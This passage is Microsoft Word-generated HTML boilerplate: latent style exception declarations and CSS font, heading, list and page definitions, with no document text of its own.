Name="Balloon Text"/>
<w:LsdException Locked="false" Priority="39" Name="Table Grid"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Theme"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Note Level 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Note Level 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Note Level 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Note Level 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Note Level 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Note Level 6"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Note Level 7"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Note Level 8"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Note Level 9"/>
<w:LsdException Locked="false" SemiHidden="true" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="3" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" SemiHidden="true" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" QFormat="true"
Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" QFormat="true"
Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" QFormat="true"
Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" QFormat="true"
Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" QFormat="true"
Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" QFormat="true"
Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" SemiHidden="true"
UnhideWhenUsed="true" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="TOC Heading"/>
<w:LsdException Locked="false" Priority="41" Name="Plain Table 1"/>
<w:LsdException Locked="false" Priority="42" Name="Plain Table 2"/>
<w:LsdException Locked="false" Priority="43" Name="Plain Table 3"/>
<w:LsdException Locked="false" Priority="44" Name="Plain Table 4"/>
<w:LsdException Locked="false" Priority="45" Name="Plain Table 5"/>
<w:LsdException Locked="false" Priority="40" Name="Grid Table Light"/>
<w:LsdException Locked="false" Priority="46" Name="Grid Table 1 Light"/>
<w:LsdException Locked="false" Priority="47" Name="Grid Table 2"/>
<w:LsdException Locked="false" Priority="48" Name="Grid Table 3"/>
<w:LsdException Locked="false" Priority="49" Name="Grid Table 4"/>
<w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark"/>
<w:LsdException Locked="false" Priority="51" Name="Grid Table 6 Colorful"/>
<w:LsdException Locked="false" Priority="52" Name="Grid Table 7 Colorful"/>
<w:LsdException Locked="false" Priority="46"
Name="Grid Table 1 Light Accent 1"/>
<w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 1"/>
<w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 1"/>
<w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 1"/>
<w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 1"/>
<w:LsdException Locked="false" Priority="51"
Name="Grid Table 6 Colorful Accent 1"/>
<w:LsdException Locked="false" Priority="52"
Name="Grid Table 7 Colorful Accent 1"/>
<w:LsdException Locked="false" Priority="46"
Name="Grid Table 1 Light Accent 2"/>
<w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 2"/>
<w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 2"/>
<w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 2"/>
<w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 2"/>
<w:LsdException Locked="false" Priority="51"
Name="Grid Table 6 Colorful Accent 2"/>
<w:LsdException Locked="false" Priority="52"
Name="Grid Table 7 Colorful Accent 2"/>
<w:LsdException Locked="false" Priority="46"
Name="Grid Table 1 Light Accent 3"/>
<w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 3"/>
<w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 3"/>
<w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 3"/>
<w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 3"/>
<w:LsdException Locked="false" Priority="51"
Name="Grid Table 6 Colorful Accent 3"/>
<w:LsdException Locked="false" Priority="52"
Name="Grid Table 7 Colorful Accent 3"/>
<w:LsdException Locked="false" Priority="46"
Name="Grid Table 1 Light Accent 4"/>
<w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 4"/>
<w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 4"/>
<w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 4"/>
<w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 4"/>
<w:LsdException Locked="false" Priority="51"
Name="Grid Table 6 Colorful Accent 4"/>
<w:LsdException Locked="false" Priority="52"
Name="Grid Table 7 Colorful Accent 4"/>
<w:LsdException Locked="false" Priority="46"
Name="Grid Table 1 Light Accent 5"/>
<w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 5"/>
<w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 5"/>
<w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 5"/>
<w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 5"/>
<w:LsdException Locked="false" Priority="51"
Name="Grid Table 6 Colorful Accent 5"/>
<w:LsdException Locked="false" Priority="52"
Name="Grid Table 7 Colorful Accent 5"/>
<w:LsdException Locked="false" Priority="46"
Name="Grid Table 1 Light Accent 6"/>
<w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 6"/>
<w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 6"/>
<w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 6"/>
<w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 6"/>
<w:LsdException Locked="false" Priority="51"
Name="Grid Table 6 Colorful Accent 6"/>
<w:LsdException Locked="false" Priority="52"
Name="Grid Table 7 Colorful Accent 6"/>
<w:LsdException Locked="false" Priority="46" Name="List Table 1 Light"/>
<w:LsdException Locked="false" Priority="47" Name="List Table 2"/>
<w:LsdException Locked="false" Priority="48" Name="List Table 3"/>
<w:LsdException Locked="false" Priority="49" Name="List Table 4"/>
<w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark"/>
<w:LsdException Locked="false" Priority="51" Name="List Table 6 Colorful"/>
<w:LsdException Locked="false" Priority="52" Name="List Table 7 Colorful"/>
<w:LsdException Locked="false" Priority="46"
Name="List Table 1 Light Accent 1"/>
<w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 1"/>
<w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 1"/>
<w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 1"/>
<w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 1"/>
<w:LsdException Locked="false" Priority="51"
Name="List Table 6 Colorful Accent 1"/>
<w:LsdException Locked="false" Priority="52"
Name="List Table 7 Colorful Accent 1"/>
<w:LsdException Locked="false" Priority="46"
Name="List Table 1 Light Accent 2"/>
<w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 2"/>
<w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 2"/>
<w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 2"/>
<w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 2"/>
<w:LsdException Locked="false" Priority="51"
Name="List Table 6 Colorful Accent 2"/>
<w:LsdException Locked="false" Priority="52"
Name="List Table 7 Colorful Accent 2"/>
<w:LsdException Locked="false" Priority="46"
Name="List Table 1 Light Accent 3"/>
<w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 3"/>
<w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 3"/>
<w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 3"/>
<w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 3"/>
<w:LsdException Locked="false" Priority="51"
Name="List Table 6 Colorful Accent 3"/>
<w:LsdException Locked="false" Priority="52"
Name="List Table 7 Colorful Accent 3"/>
<w:LsdException Locked="false" Priority="46"
Name="List Table 1 Light Accent 4"/>
<w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 4"/>
<w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 4"/>
<w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 4"/>
<w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 4"/>
<w:LsdException Locked="false" Priority="51"
Name="List Table 6 Colorful Accent 4"/>
<w:LsdException Locked="false" Priority="52"
Name="List Table 7 Colorful Accent 4"/>
<w:LsdException Locked="false" Priority="46"
Name="List Table 1 Light Accent 5"/>
<w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 5"/>
<w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 5"/>
<w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 5"/>
<w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 5"/>
<w:LsdException Locked="false" Priority="51"
Name="List Table 6 Colorful Accent 5"/>
<w:LsdException Locked="false" Priority="52"
Name="List Table 7 Colorful Accent 5"/>
<w:LsdException Locked="false" Priority="46"
Name="List Table 1 Light Accent 6"/>
<w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 6"/>
<w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 6"/>
<w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 6"/>
<w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 6"/>
<w:LsdException Locked="false" Priority="51"
Name="List Table 6 Colorful Accent 6"/>
<w:LsdException Locked="false" Priority="52"
Name="List Table 7 Colorful Accent 6"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Mention"/>
</w:LatentStyles>
</xml><![endif]--> <style> <!-- /* Font Definitions */ @font-face {font-family:宋体; mso-font-charset:134; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:3 680460288 22 0 262145 0;} @font-face {font-family:"Cambria Math"; panose-1:2 4 5 3 5 4 6 3 2 4; mso-font-charset:1; mso-generic-font-family:roman; mso-font-format:other; mso-font-pitch:variable; mso-font-signature:0 0 0 0 0 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-unhide:no; mso-style-qformat:yes; mso-style-parent:""; margin:0in; margin-bottom:.0001pt; text-indent:.5in; line-height:200%; mso-pagination:widow-orphan; font-size:12.0pt; font-family:"Times New Roman"; mso-ascii-font-family:"Times New Roman"; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:宋体; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:"Times New Roman"; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-font-kerning:12.0pt; mso-fareast-language:JA;} h1 {mso-style-priority:4; mso-style-unhide:no; mso-style-qformat:yes; mso-style-link:"Heading 1 Char"; mso-style-next:Normal; margin:0in; margin-bottom:.0001pt; text-align:center; line-height:200%; mso-pagination:widow-orphan lines-together; page-break-after:avoid; mso-outline-level:1; font-size:12.0pt; font-family:"Times New Roman"; mso-ascii-font-family:"Times New Roman"; mso-ascii-theme-font:major-latin; mso-fareast-font-family:宋体; mso-fareast-theme-font:major-fareast; mso-hansi-font-family:"Times New Roman"; mso-hansi-theme-font:major-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:major-bidi; mso-font-kerning:12.0pt; mso-fareast-language:JA;} h2 {mso-style-priority:4; mso-style-qformat:yes; mso-style-link:"Heading 2 Char"; mso-style-next:Normal; margin:0in; margin-bottom:.0001pt; line-height:200%; mso-pagination:widow-orphan lines-together; page-break-after:avoid; mso-outline-level:2; font-size:12.0pt; font-family:"Times New Roman"; mso-ascii-font-family:"Times New Roman"; mso-ascii-theme-font:major-latin; mso-fareast-font-family:宋体; mso-fareast-theme-font:major-fareast; mso-hansi-font-family:"Times New Roman"; mso-hansi-theme-font:major-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:major-bidi; mso-font-kerning:12.0pt; mso-fareast-language:JA;} h3 {mso-style-priority:4; mso-style-qformat:yes; mso-style-link:"Heading 3 Char"; mso-style-next:Normal; margin:0in; margin-bottom:.0001pt; text-indent:.5in; line-height:200%; mso-pagination:widow-orphan lines-together; page-break-after:avoid; mso-outline-level:3; font-size:12.0pt; font-family:"Times New Roman"; mso-ascii-font-family:"Times New Roman"; mso-ascii-theme-font:major-latin; mso-fareast-font-family:宋体; mso-fareast-theme-font:major-fareast; mso-hansi-font-family:"Times New Roman"; mso-hansi-theme-font:major-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:major-bidi; mso-font-kerning:12.0pt; mso-fareast-language:JA;} h4 {mso-style-priority:4; mso-style-qformat:yes; mso-style-link:"Heading 4 Char"; mso-style-next:Normal; margin:0in; margin-bottom:.0001pt; text-indent:.5in; line-height:200%; mso-pagination:widow-orphan lines-together; page-break-after:avoid; mso-outline-level:4; font-size:12.0pt; font-family:"Times New Roman"; mso-ascii-font-family:"Times New Roman"; mso-ascii-theme-font:major-latin; mso-fareast-font-family:宋体; mso-fareast-theme-font:major-fareast; mso-hansi-font-family:"Times New Roman"; mso-hansi-theme-font:major-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:major-bidi; mso-font-kerning:12.0pt; mso-fareast-language:JA; font-style:italic;} p.MsoNoSpacing, li.MsoNoSpacing, div.MsoNoSpacing {mso-style-name:"No Spacing\,No Indent"; mso-style-priority:3; mso-style-unhide:no; mso-style-qformat:yes; mso-style-parent:""; margin:0in; margin-bottom:.0001pt; line-height:200%; mso-pagination:widow-orphan; font-size:12.0pt; font-family:"Times New Roman"; mso-ascii-font-family:"Times New Roman"; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:宋体; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:"Times New Roman"; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:JA;} p.MsoListParagraph, li.MsoListParagraph, div.MsoListParagraph {mso-style-priority:34; mso-style-qformat:yes; margin-top:0in; margin-right:0in; margin-bottom:0in; margin-left:.5in; margin-bottom:.0001pt; mso-add-space:auto; line-height:200%; mso-pagination:widow-orphan; font-size:12.0pt; font-family:"Times New Roman"; mso-ascii-font-family:"Times New Roman"; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:宋体; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:"Times New Roman"; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-font-kerning:12.0pt; mso-fareast-language:JA;} p.MsoListParagraphCxSpFirst, li.MsoListParagraphCxSpFirst, div.MsoListParagraphCxSpFirst {mso-style-priority:34; mso-style-qformat:yes; mso-style-type:export-only; margin-top:0in; margin-right:0in; margin-bottom:0in; margin-left:.5in; margin-bottom:.0001pt; mso-add-space:auto; line-height:200%; mso-pagination:widow-orphan; font-size:12.0pt; font-family:"Times New Roman"; mso-ascii-font-family:"Times New Roman"; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:宋体; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:"Times New Roman"; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-font-kerning:12.0pt; mso-fareast-language:JA;} p.MsoListParagraphCxSpMiddle, li.MsoListParagraphCxSpMiddle, div.MsoListParagraphCxSpMiddle {mso-style-priority:34; mso-style-qformat:yes; mso-style-type:export-only; margin-top:0in; margin-right:0in; margin-bottom:0in; margin-left:.5in; margin-bottom:.0001pt; mso-add-space:auto; line-height:200%; mso-pagination:widow-orphan; font-size:12.0pt; font-family:"Times New Roman"; mso-ascii-font-family:"Times New Roman"; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:宋体; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:"Times New Roman"; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-font-kerning:12.0pt; mso-fareast-language:JA;} p.MsoListParagraphCxSpLast, li.MsoListParagraphCxSpLast, div.MsoListParagraphCxSpLast {mso-style-priority:34; mso-style-qformat:yes; mso-style-type:export-only; margin-top:0in; margin-right:0in; margin-bottom:0in; margin-left:.5in; margin-bottom:.0001pt; mso-add-space:auto; line-height:200%; mso-pagination:widow-orphan; font-size:12.0pt; font-family:"Times New Roman"; mso-ascii-font-family:"Times New Roman"; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:宋体; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:"Times New Roman"; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-font-kerning:12.0pt; mso-fareast-language:JA;} span.Heading1Char {mso-style-name:"Heading 1 Char"; mso-style-priority:4; mso-style-unhide:no; mso-style-locked:yes; mso-style-link:"Heading 1"; font-family:"Times New Roman"; mso-ascii-font-family:"Times New Roman"; mso-ascii-theme-font:major-latin; mso-fareast-font-family:宋体; mso-fareast-theme-font:major-fareast; mso-hansi-font-family:"Times New Roman"; mso-hansi-theme-font:major-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:major-bidi; mso-font-kerning:12.0pt; font-weight:bold;} span.Heading2Char {mso-style-name:"Heading 2 Char"; mso-style-priority:4; mso-style-unhide:no; mso-style-locked:yes; mso-style-link:"Heading 2"; font-family:"Times New Roman"; mso-ascii-font-family:"Times New Roman"; mso-ascii-theme-font:major-latin; mso-fareast-font-family:宋体; mso-fareast-theme-font:major-fareast; mso-hansi-font-family:"Times New Roman"; mso-hansi-theme-font:major-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:major-bidi; mso-font-kerning:12.0pt; font-weight:bold;} span.Heading3Char {mso-style-name:"Heading 3 Char"; mso-style-priority:4; mso-style-unhide:no; mso-style-locked:yes; mso-style-link:"Heading 3"; font-family:"Times New Roman"; mso-ascii-font-family:"Times New Roman"; mso-ascii-theme-font:major-latin; mso-fareast-font-family:宋体; mso-fareast-theme-font:major-fareast; mso-hansi-font-family:"Times New Roman"; mso-hansi-theme-font:major-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:major-bidi; mso-font-kerning:12.0pt; font-weight:bold;} span.Heading4Char {mso-style-name:"Heading 4 Char"; mso-style-priority:4; mso-style-unhide:no; mso-style-locked:yes; mso-style-link:"Heading 4"; font-family:"Times New Roman"; mso-ascii-font-family:"Times New Roman"; mso-ascii-theme-font:major-latin; mso-fareast-font-family:宋体; mso-fareast-theme-font:major-fareast; mso-hansi-font-family:"Times New Roman"; mso-hansi-theme-font:major-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:major-bidi; mso-font-kerning:12.0pt; font-weight:bold; font-style:italic;} p.SectionTitle, li.SectionTitle, div.SectionTitle {mso-style-name:"Section Title"; mso-style-priority:2; mso-style-unhide:no; mso-style-qformat:yes; mso-style-next:Normal; margin:0in; margin-bottom:.0001pt; text-align:center; line-height:200%; page-break-before:always; mso-pagination:widow-orphan; mso-outline-level:1; font-size:12.0pt; font-family:"Times New Roman"; mso-ascii-font-family:"Times New Roman"; mso-ascii-theme-font:major-latin; mso-fareast-font-family:宋体; mso-fareast-theme-font:major-fareast; mso-hansi-font-family:"Times New Roman"; mso-hansi-theme-font:major-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:major-bidi; mso-font-kerning:12.0pt; mso-fareast-language:JA;} .MsoChpDefault {mso-style-type:export-only; mso-default-props:yes; mso-ascii-font-family:"Times New Roman"; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:宋体; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:"Times New Roman"; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:JA;} .MsoPapDefault {mso-style-type:export-only; text-indent:.5in; line-height:200%;} @page WordSection1 {size:8.5in 11.0in; margin:1.0in 1.0in 1.0in 1.0in; mso-header-margin:.5in; mso-footer-margin:.5in; mso-paper-source:0;} div.WordSection1 {page:WordSection1;} /* List Definitions */ @list l0 {mso-list-id:584731557; mso-list-type:hybrid; mso-list-template-ids:1752319220 -1225128530 67698713 67698715 67698703 67698713 67698715 67698703 67698713 67698715;} @list l0:level1 {mso-level-tab-stop:none; mso-level-number-position:left; margin-left:1.25in; text-indent:-.25in;} @list l0:level2 {mso-level-number-format:alpha-lower; mso-level-tab-stop:none; mso-level-number-position:left; margin-left:1.75in; text-indent:-.25in;} @list l0:level3 {mso-level-number-format:roman-lower; mso-level-tab-stop:none; mso-level-number-position:right; margin-left:2.25in; text-indent:-9.0pt;} @list l0:level4 {mso-level-tab-stop:none; mso-level-number-position:left; margin-left:2.75in; text-indent:-.25in;} @list l0:level5 {mso-level-number-format:alpha-lower; mso-level-tab-stop:none; mso-level-number-position:left; margin-left:3.25in; text-indent:-.25in;} @list l0:level6 {mso-level-number-format:roman-lower; mso-level-tab-stop:none; mso-level-number-position:right; margin-left:3.75in; text-indent:-9.0pt;} @list l0:level7 {mso-level-tab-stop:none; mso-level-number-position:left; margin-left:4.25in; text-indent:-.25in;} @list l0:level8 {mso-level-number-format:alpha-lower; mso-level-tab-stop:none; mso-level-number-position:left; margin-left:4.75in; text-indent:-.25in;} @list l0:level9 {mso-level-number-format:roman-lower; mso-level-tab-stop:none; mso-level-number-position:right; margin-left:5.25in; text-indent:-9.0pt;} @list l1 {mso-list-id:1182083886; mso-list-type:hybrid; mso-list-template-ids:588289726 -2112029136 67698713 67698715 67698703 67698713 67698715 67698703 67698713 67698715;} @list l1:level1 {mso-level-number-format:alpha-lower; mso-level-tab-stop:none; mso-level-number-position:left; margin-left:.75in; text-indent:-.25in;} @list l1:level2 {mso-level-number-format:alpha-lower; mso-level-tab-stop:none; mso-level-number-position:left; margin-left:1.25in; 